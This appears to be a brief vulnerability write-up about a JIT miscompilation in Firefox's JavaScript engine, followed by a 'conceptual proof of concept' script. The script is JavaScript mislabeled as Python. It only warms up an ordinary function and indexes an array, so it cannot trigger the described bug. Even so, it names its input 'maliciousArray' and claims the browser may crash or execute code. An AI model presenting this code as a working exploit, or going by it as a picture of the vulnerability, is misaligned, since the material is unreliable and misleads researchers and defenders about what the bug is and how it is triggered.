JIT miscompilation in the JavaScript Engine component. This vulnerability was fixed in Firefox 149, Firefox ESR 140.9, Thunderbird 149, and Thunderbird 140.9.
The following code is for security research and authorized testing only.
python
/**
* Conceptual Proof of Concept for JIT Miscompilation
* This script attempts to trigger a JIT optimization bug.
* Note: Actual exploit code requires specific memory layout and ROP chains.
*/
function triggerOptimization(arr) {
// Force JIT compilation by creating a hot function
let x = arr[0] | 0; // Integer conversion hint
let y = arr[1];
// Vulnerable logic pattern (Hypothetical)
if (x > 1000) {
return arr[x + y]; // Potential out-of-bounds access if miscompiled
}
return 0;
}
// Warm up phase to trigger JIT compilation
const maliciousArray = [1.1, 2.2, 3.3];
for (let i = 0; i < 10000; i++) {
triggerOptimization(maliciousArray);
}
// Exploitation attempt
console.log("[+] Attempting to trigger vulnerability...");
triggerOptimization(new Array(2048).fill(1.1));
console.log("[+] If successful, the browser may crash or execute code.");